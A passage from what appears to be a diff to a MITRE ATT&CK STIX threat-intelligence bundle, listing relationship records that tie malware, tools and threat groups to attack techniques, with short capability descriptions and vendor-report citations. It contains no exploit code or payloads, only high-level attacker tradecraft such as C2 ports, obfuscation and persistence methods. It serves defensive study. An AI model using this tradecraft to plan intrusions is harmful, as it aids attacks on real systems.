"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[CallMe](https://attack.mitre.org/software/S0077) has the capability to download a file to the victim from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bdd64378-e348-4156-8490-528392c6ea82", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use process hollowing for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--6c303446-f8d1-424c-b1ac-8c10f82d33d7", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.509Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect and exfiltrate emails from Outlook.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--892ff1d1-3da9-489e-89c3-374ab07a417b", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses WinRAR to compress data that is intended to be exfiltrated.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4082e0a3-e725-4f9f-98e2-3850c8cc8df2", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", + "description": "The net use \\\\system\\share /delete command can be used in [Net](https://attack.mitre.org/software/S0039) to remove an established connection to a network share.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4e167937-d152-4c57-a7b7-e3b407470720", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.577Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/bb490717.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "description": "[Calisto](https://attack.mitre.org/software/S0274) presents an input prompt asking for the user's login and password.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7566c29c-f071-40fa-a437-34d2f36eadb6", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2. [OopsIE](https://attack.mitre.org/software/S0264) also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ec9e1757-50c1-4fd8-a0be-2694b1bc9e99", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.527Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) copies a file over to the remote system before execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b3831788-f18f-4315-997e-275e425c0d31", + "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) performs a connection test to discover remote systems in the network", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8765dd7e-33cc-4040-927d-bf0aa16d3d79", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Naid](https://attack.mitre.org/software/S0205) creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--aea0804f-e322-401f-a012-c16c25e0ac70", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "source_name": "Symantec Naid June 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "One [TYPEFRAME](https://attack.mitre.org/software/S0263) variant decrypts an archive using an RC4 key, then decompresses and installs the decrypted malicious DLL module. Another variant decodes the embedded file by XORing it with the value \"0x35\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--77b9e1c5-8241-4260-8125-4bc2e1206b9c", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) captured screenshots and desktop video recordings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f443e72c-68a6-4d46-b2aa-96b1aafd5f6b", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.537Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has compressed files before exfiltration using TAR and RAR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.506Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit that hides certain operating system artifacts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--69b9edd8-c1a8-4cbd-bd94-9af0fdefe013", + "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) identifies files matching certain file extension and copies them to subdirectories it created.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5d46a519-1ef9-4cdb-b737-8c7b3ffb4f0e", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "description": "A [JPIN](https://attack.mitre.org/software/S0201) variant downloads the backdoor payload via the BITS service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--45d8c4f2-27e4-4063-9eec-d8023c61c74b", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Bandook](https://attack.mitre.org/software/S0234) has modules that are capable of capturing audio.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1148c339-09f2-4518-9562-c6aa11d5474f", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "source_name": "EFF Manul Aug 2016", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "description": "ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.", + "source_name": "ESET Sednit July 2015", + "url": "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "After encrypting C2 data, [BADNEWS](https://attack.mitre.org/software/S0128) converts it into a hexadecimal representation and then encodes it into base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3884be12-f73f-4f9b-875e-68d40798faf6", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:16.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used port 80 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9b30cb8a-fc4b-44c1-ad5e-b71e430e1a8c", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.164Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Reaver](https://attack.mitre.org/software/S0172) creates a shortcut file and saves it in a Startup folder to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0fee8bfd-aec2-44a7-8182-530a648006f3", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to create Registry entries for storing data under HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\WABE\\DataPath.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d4f0554e-46bb-4fd5-94e8-900dfe3198cf", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can start SOCKS proxy threads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a13feeb0-d376-4460-8335-f86c0f163d4b", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is known to use PowerShell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a3eca9d0-bc4b-48a8-801d-9aaa757bfe72", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "modified": "2019-10-11T19:07:42.401Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "source_name": "FireEye APT29", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) uses port 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--90d8a8de-171a-4afc-be10-1d4407a83700", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[ChChes](https://attack.mitre.org/software/S0144) collects the victim's %TEMP% directory path and version of Internet Explorer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a802d52a-01f4-44c8-b80d-d2c746e1e31d", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can capture the victim's screen.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ca71a63a-4481-46d2-98b2-b83cce190380", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "source_name": "McAfee Netwire Mar 2015", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[httpclient](https://attack.mitre.org/software/S0068) uses HTTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d", + "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) captures screenshots based on specific keywords in the window\u2019s title.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f2f155f1-5152-4681-9c0b-b4a01968fa2e", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + 